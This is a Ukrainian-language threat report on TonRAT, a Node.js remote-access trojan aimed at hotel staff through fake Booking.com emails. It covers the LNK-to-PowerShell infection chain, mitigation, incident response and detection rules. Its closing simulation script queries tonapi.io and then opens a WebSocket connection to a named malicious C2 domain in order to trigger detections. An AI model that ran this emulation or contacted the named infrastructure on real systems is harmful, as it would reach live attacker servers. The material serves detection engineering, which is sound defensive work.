Технічний аналіз підозрілих електронних листів, націлених на готельну індустрію
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Витончена багаторівнева кампанія шкідливих програм націлена на готельний сектор через електронні листи, що маскуються під сповіщення від Booking.com. Ланцюг вторгнення поєднує шкідливі LNK-файли, скрипти PowerShell і троян для віддаленого доступу на основі Node.js, відомий як TonRAT. Однією з найбільш помітних особливостей операції є використання API The Open Network (TON) для динамічного отримання доменів командування та управління, що робить традиційне блокування на основі доменів менш надійним.
Розслідування
Розслідування виявило багатошаровий процес виконання, в якому початковий ZIP-архів містить LNK-файл, який запускає PowerShell для отримання вторинного скрипту. Цей скрипт розшифровує JavaScript-навантаження, ідентифіковане як TonRAT за допомогою AES, і запускає його через легітимне середовище виконання Node.js, завантажене з nodejs.org. Після активації, шкідлива програма починає командно-контрольні комунікації, що базуються на WebSocket, використовуючи інформацію про домен, отриману з API-запитів до блокчейну TON.
Пом’якшення
Рекомендовані заходи захисту включають обмеження виконання PowerShell, ретельний моніторинг несанкціонованого використання середовища виконання Node.js (node.exe), і виявлення аномального трафіку WebSocket. Організації також повинні звертати увагу на підключення до API TON, включаючи tonapi.io, і зміцнювати фільтрацію електронної пошти для виявлення підроблених доменів, підозрілих вкладень і фішинг-приманок, спрямованих на персонал готелів.
Відповідь
Якщо підозрюється компрометація, команди безпеки повинні негайно ізолювати уражене кінцеве обладнання, щоб запобігти додатковому трафіку командування та управління і можливому вилученню даних. Логи операцій PowerShell і записи про виконання процесів слід переглянути на предмет несанкціонованої node.exe активності. Також слід провести судово-медичний огляд для відомих хешів JavaScript TonRAT, а також розслідування будь-яких підключень до визначеної інфраструктури командування та управління.
Потік атаки
Виявлення
Можливість виконання через приховані командні рядки PowerShell (через cmdline)
Переглянути
Можливі індикатори обфускації PowerShell (через PowerShell)
Переглянути
Можливі точки стійкості [ASEPs – Software/NTUSER Hive] (через registry_event)
Переглянути
PowerShell виконує файл у підозрілому каталозі за допомогою політики обходу виконання (через cmdline)
Переглянути
NodeJS виконує з незвичайного місця (через cmdline)
Переглянути
Підозрілі зміни в налаштуваннях Windows Defender (через PowerShell)
Переглянути
Підозріле управління та контроль по незвичному запиту DNS верхнього рівня (TLD) (через DNS)
Переглянути
Виявлена WebSocket C2 комунікація через TON API у TonRAT [Підключення до мережі Windows]
Переглянути
Команда PowerShell для завантаження та виконання шкідливого файлу [Windows PowerShell]
Переглянути
Виконання симуляції
Попередній вимір: Телеметрія та передполітна перевірка базової лінії повинні бути пройдені.
Міркування: Цей розділ деталізує конкретне виконання техніки противника (TTP), розроблене для спрацьовування правила виявлення. Команди та наративи ПОВИННІ безпосередньо відображати виявлені TTP та націлені на генерацію саме тієї телеметрії, якої очікує логіка виявлення. Абстрактні або не пов’язані приклади призведуть до неправильної діагностики.
-
Наратив атаки та команди: Зловмисник має на меті встановити командно-контрольний канал на основі WebSocket (C2). Щоб злитись з легітимним трафіком, шкідлива програма спочатку надсилає запит до
tonapi.ioсервісу для розв’язання своєї інфраструктури C2. Після встановлення “легітимної” взаємодії з API, шкідлива програма ініціює хендшейк WebSocket (wss://) до зашитого шкідливого доменуzloapobikahy23.bond. Ця послідовність призначена для використання репутації API TON для маскування подальшого шкідливого з’єднання. -
Сценарій тестування регресії:
# Симуляція WebSocket комунікації TonRAT C2 # Крок 1: Симулювати взаємодію з API TON Write-Host "[+] Симуляція взаємодії з tonapi.io..." $api_url = "https://tonapi.io/v2/blockchain/accounts/EQ..." Invoke-WebRequest -Uri $api_url -Method Get -UseBasicParsing # Крок 2: Симулювати підключення до WebSocket до шкідливого домену C2 # Нотатка: Ми використовуємо клієнт PowerShell, щоб ініціювати WSS-запит для виклику логіки 'wss://' та домену Write-Host "[+] Симуляція підключення до WebSocket до шкідливого домену..." $c2_url = "wss://zloapobikahy23.bond/control" # Використання клієнта .NET WebSockets, щоб гарантувати наявність 'wss://' в телеметрії $ws = New-Object System.Net.WebSockets.ClientWebSocket $cts = New-Object System.Threading.CancellationTokenSource $uri = New-Object System.Uri($c2_url) try { $task = $ws.ConnectAsync($uri, $cts.Token) # Нам не потрібне успішне підключення, достатньо лише спроби для генерації логів $task.Wait(5000) } catch { Write-Host "[!] Підключення не вдалося, як і очікувалося (домен не існує), але телеметрія повинна бути згенерована." } finally { $ws.Dispose() } -
Команди прибирання:
# Цей сценарій не створює стійких артефактів, але ми очищаємо консоль Clear-Host Write-Host "Очищення симуляції завершено."